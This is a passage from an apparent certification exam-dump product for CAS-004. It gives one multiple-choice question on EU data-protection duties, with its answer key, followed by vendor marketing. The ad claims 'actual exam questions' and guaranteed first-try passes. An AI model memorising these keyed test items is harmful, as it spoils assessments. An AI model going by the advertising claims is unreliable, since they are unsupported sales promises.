
Answer: A

NEW QUESTION 200
A business stores personal client data of individuals residing in the EU in order to process requests for mortgage loan approvals.
Which of the following does the business's IT manager need to consider?

A. The availability of personal data
B. The right to personal data erasure
C. The company's annual revenue
D. The language of the web application

Answer: B

NEW QUESTION 204
.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questons and Answers in PDF Format

CAS-004 Practice Exam Features:

* CAS-004 Questions and Answers Updated Frequently

* CAS-004 Practice Questions Verified by Expert Senior Certified Staff

* CAS-004 Most Realistic Questions that Guarantee you a Pass on Your FirstTry

* CAS-004 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year